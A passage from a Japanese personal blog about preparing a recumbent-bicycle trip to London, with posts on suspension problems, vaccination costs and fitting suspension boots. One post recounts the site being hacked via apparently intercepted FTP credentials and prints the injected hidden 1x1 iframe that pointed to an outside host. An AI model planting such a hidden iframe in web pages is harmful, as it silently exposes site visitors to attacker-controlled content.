14degrees off the beaten track
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サスペンションへ水の浸入
April 25th, 2006 | categorizilation: 全カテゴリー

一日雨の中に走ったら、サスペンションフォークの上部にあるダンパーカップの隙間から水が吹き出ていることを発見しました(写真の→がさすところから)。自転車のメーカのHP Velotechnikにメールを出して、返事を待っているところです。たいした問題でないといいですけどね。

サスペンションへ水の浸入

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予防接種、第二ラウンド
April 17th, 2006 | categorizilation: 全カテゴリー, 企画・準備

先週予防接種の第二回のアポが無事に終わりました。今回は:

  • A型肝炎 (第二回の注射) 
  • B型肝炎 (第二回の注射)
  • 狂犬病 (第二回の注射)
  • 腸チフス 

今回の総額は4万5千円でした。値段のほうが痛かった。犯人は腸チフスでした。日本国内には在庫がないから、特別輸入で一本2万5千円。あったたた。

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ホームページがハッカーに侵入された
April 13th, 2006 | categorizilation: 全カテゴリー, ウェブ作成, 企画・準備

あ〜あ。

このホームページによくアクセスする方はお気づきだと思いますが、先週一週間14degrees.orgは動いていなかったです。原因はハッカーによる被害でした。 ハッカーがホームページの元になるHTMLファイルに不審なコードを無理やりに記入し、そのコードの存在のためホームページが動くなくなりました。

どうやってハッカーがそういう風にできたかというと、僕が使っていたFTPソフト(ファイルをパソコンからサーバーへ転送してくれるソフト)のセキュリティが薄くて、それで僕のサーバー用のパスワードとユーザ名を傍受したのではないかと思われます。

今後の対策としては、ならべくFTPソフトを使わないことと、やむをえない場合にFTPソフトを使った場合には転送の作業が終わったらすぐにパスワードを変更することかな。反省。

ちなみに、以下のコードが無理やりにファイルに追加されていた:

iframe marginwidth=”0″ marginheight=”0″ src=”http://196.regvista.com/index.php?ref=r22″ mce_src=”http://196.regvista.com/index.php?ref=r22″ width=”1″ height=”1″

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サスペンションのブーツ(カバー)
April 2nd, 2006 | categorizilation: 全カテゴリー, 企画・準備, リカンベント, 装備

HPVelotechnik Street Machine GTeのスタンダードの仕組みにサスペンションが含まれて居ます(前と後ろ)。私はスタンダードのサスペンションをさらにアップグレードし、サスペンション・フォークのMeks Carbon AC(HPVelotechnik社)と後ろのDT-Swiss 225(超軽量)のリアーサスペンシンにしました。二つのサスペンションとも質が十分優れているように見えますが、やはりサスペンションというパーツは動くパーツなので、できるだけ守りたい。そこでサスペンション・ブーツ(カバー)を装着しました。

Front shock
Front fork boot II / 前のサスペンションのカバー 2

Front fork boot / 前のサスペンションのカバー

Rear shock
Rear shock boot / 後ろのサスペンションのカバー

前のブーツは特につけにくかったです。ブーツに切り目をつける必要がありました。最初につけてみたのは左側のブーツで、なかなか上手く行かず、あまりきれいに出来上がっていないけど、実用性でいうと問題ないでしょう。

サスペンシンがロンドンまでの1万2千キロを耐え切るように!

 

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